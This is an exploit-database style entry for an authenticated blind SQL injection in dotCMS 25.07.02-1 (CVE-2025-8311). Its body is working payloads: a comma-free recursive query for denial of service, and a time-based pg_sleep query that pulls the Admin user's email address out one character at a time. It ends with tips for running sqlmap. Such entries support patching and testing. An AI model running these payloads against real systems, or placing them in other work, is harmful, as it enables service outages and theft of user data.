# Exploit Title: dotCMS 25.07.02-1 - Authenticated Blind SQL Injection
# Google Dork: N/A
# Date: 2025-09-09
# Exploit Author: Matan Sandori (OSCP, OSEP, OSWE)
# Vendor Homepage:*https://www.dotcms.com/
# Software Link: https://github.com/dotCMS/core/releases/tag/v25.07.02-1 (tested on: v25.07.02-1)
# Version: Affects 24.03.22 and later (see vendor advisory for fixed versions)
# Tested on: dotCMS v25.07.02-1 (Docker / Linux)
# CVE: CVE-2025-8311


# The application blocks the comma character, so a simple DoS payload like:
# ') AND 1=(SELECT 1 FROM generate_series(1,500000) AS a CROSS JOIN generate_series(1,500000) AS b) AND ('FYHh' LIKE 'FYHh
# will not work.

# Instead, a comma-free payload can be used, for example:
# ') AND 1=(WITH RECURSIVE nums(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM nums WHERE i < 1000000) SELECT MIN(1) FROM nums AS a CROSS JOIN nums AS b) AND ('A' LIKE 'A

# Example query for time-based extraction of data:
# ') AND 1=(SELECT CASE WHEN (substring(emailaddress from 1 for 1)='a') THEN (SELECT 1 FROM pg_sleep(10) WHERE firstname='Admin') ELSE 1 END FROM user_ WHERE firstname='Admin') AND ('1' LIKE '1

# This PoC demonstrates time-based blind SQLi. Error-based SQLi is also possible and allows faster data extraction.
# Using sqlmap with the --no-cast flag is recommended, as it will not work otherwise.
